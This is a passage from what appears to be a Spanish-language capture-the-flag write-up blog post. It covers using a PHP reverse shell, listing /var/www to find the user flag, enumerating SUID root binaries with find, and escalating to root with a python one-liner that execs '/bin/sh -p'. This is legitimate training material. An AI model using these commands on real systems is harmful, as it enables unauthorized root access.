&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--l3_gD9GC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ti7svomel672ba956dka.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--l3_gD9GC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ti7svomel672ba956dka.png" alt="7" width="561" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Y al hacer click (es decir, al acceder) al archivo...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--K-Z8_heB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dmqm0ndpxblfhppapty3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--K-Z8_heB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dmqm0ndpxblfhppapty3.png" alt="7" width="800" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;¡Tenemos comunicación con la máquina víctima gracias a nuestra shell reversa!&lt;/p&gt;

&lt;p&gt;Desde aquí ya nos es posible indicar comandos que se ejecutarán en la máquina remota, es conveniente ejecutar dos:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;whoami&lt;/code&gt;: que nos dirá con qué usuario de la máquina hemos iniciado sesión&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pwd&lt;/code&gt;: que nos dirá en qué parte de la máquina nos encontramos&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Investigando un poco sobre el usuario &lt;code&gt;www-data&lt;/code&gt; tenemos que dicho usuario es el usuario por defecto del servidor web Apache, este usuario tiene acceso a directorios públicos del sitio web para poder leer y mostrar su contenido. El contenido que en virtud nos interesa ver primero es el que se encuentra en el directorio &lt;code&gt;/var/www&lt;/code&gt;, así que podemos hacer un listado de dicho directorio:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /var/www
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y al notar que existe un archivo &lt;code&gt;user.txt&lt;/code&gt; en dicho directorio, tenemos la primera bandera, la del usuario:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lG9MHQ-x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rvd0t0kwrk79opxxozkf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lG9MHQ-x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rvd0t0kwrk79opxxozkf.png" alt="8" width="596" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalada de privilegios
&lt;/h2&gt;

&lt;p&gt;A partir de este punto viene la parte más interesante. Tenemos una sesión abierta en la máquina, sin embargo no sabemos a qué parte podemos acceder. Nuestro objetivo es alcanzar una sesión del usuario &lt;code&gt;root&lt;/code&gt; para tener acceso total a la máquina. El comando &lt;code&gt;find&lt;/code&gt; nos puede ayudar a conocer los directorios y archivos a los que se tiene acceso o no.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-user&lt;/span&gt; root &lt;span class="nt"&gt;-perm&lt;/span&gt; /4000 &lt;span class="nt"&gt;-print&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicación:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find&lt;/code&gt;: invoca la utilidad&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/&lt;/code&gt;: directorio en el que empezará a buscar, al indicar el directorio raíz &lt;code&gt;/&lt;/code&gt; buscará en todos los archivos de la máquina&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-user&lt;/code&gt;: establece el usuario sobre el que nos interesa hacer la búsqueda, en este caso el &lt;code&gt;root&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-perm&lt;/code&gt;: establece los permisos sobre los que nos interesa hacer la búsqueda, en este caso le pasamos el tipo de permiso como número octal, este permiso &lt;code&gt;4000&lt;/code&gt; establece el bit &lt;code&gt;setuid&lt;/code&gt; del usuario root. &lt;a href="https://www.cyberciti.biz/faq/unix-linux-bsd-chmod-numeric-permissions-notation-command/"&gt;Referencia 1&lt;/a&gt; &lt;a href="https://docs.oracle.com/cd/E19683-01/816-4883/6mb2joatb/index.html"&gt;Referencia 2&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-print 2&amp;gt;/dev/null&lt;/code&gt;: al buscar en toda la máquina conviene limpiar aquella información que no nos interesa, con ésta última parte del comando filtramos enviando a null aquellas salidas relacionados con los lugares a los que no podemos acceder, dejando solo aquellos a los que si nos es posible acceder.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;De dicho comando tenemos al siguiente salida:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
...
/bin/umount
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hasta el momento sabemos que dentro de la ruta &lt;code&gt;/usr/bin/python&lt;/code&gt; existe un intérprete de python, por lo que podemos intentar una técnica que abusa de la mala configuracion de las reestricciones de un sistema con &lt;a href="https://gtfobins.github.io/"&gt;GTFOBins&lt;/a&gt;.&lt;br&gt;
Sabemos que el binario &lt;code&gt;/usr/bin/python&lt;/code&gt; tiene el bit SUID (por los permisos &lt;code&gt;4000&lt;/code&gt; establecidos), si se ejecuta la invocación de una shell (así es, una shell dentro de una shell) con las banderas &lt;code&gt;sh -p&lt;/code&gt;, es posible ejecutar una shell &lt;code&gt;sh&lt;/code&gt; por defecto pero con los privilegios del SUID, en este caso el 'root':&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con este comando anterior vamos a la ruta del intérprete de python&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import os; os.execl("/bin/sh", "sh", "-p")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E invocamos la sesion &lt;code&gt;sh&lt;/code&gt;. Al ejecutar un &lt;code&gt;whoami&lt;/code&gt;...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dAg0lWyH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h2abw6jqg5d7mzil7bt9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dAg0lWyH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h2abw6jqg5d7mzil7bt9.png" alt="9" width="589" height="248"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;¡Tenemos la sesión del usuario root! Con lo que ya es posible acceder a su bandera.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JRfKJaXt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2m7g8lkw3nn9593f5cmk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JRfKJaXt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2m7g8lkw3nn9593f5cmk.png" alt="10" width="586" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusiones
&lt;/h2&gt;

&lt;p&gt;Desde una página web no correctamente sanitizada logramos acceder a una máquina remota haciendo uso de una shell reversa en PHP, y desde un intérprete de python fue posible escalar hasta el usuario root haciendo uso de permisos mal configurados en dicha máquina remota.&lt;/p&gt;

&lt;p&gt;Si llegaste hasta acá, te agradezco mucho por tu interés. Tengo la intención de hacer esto más seguido e ir mejorando tanto la redacción como el material ofrecido.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
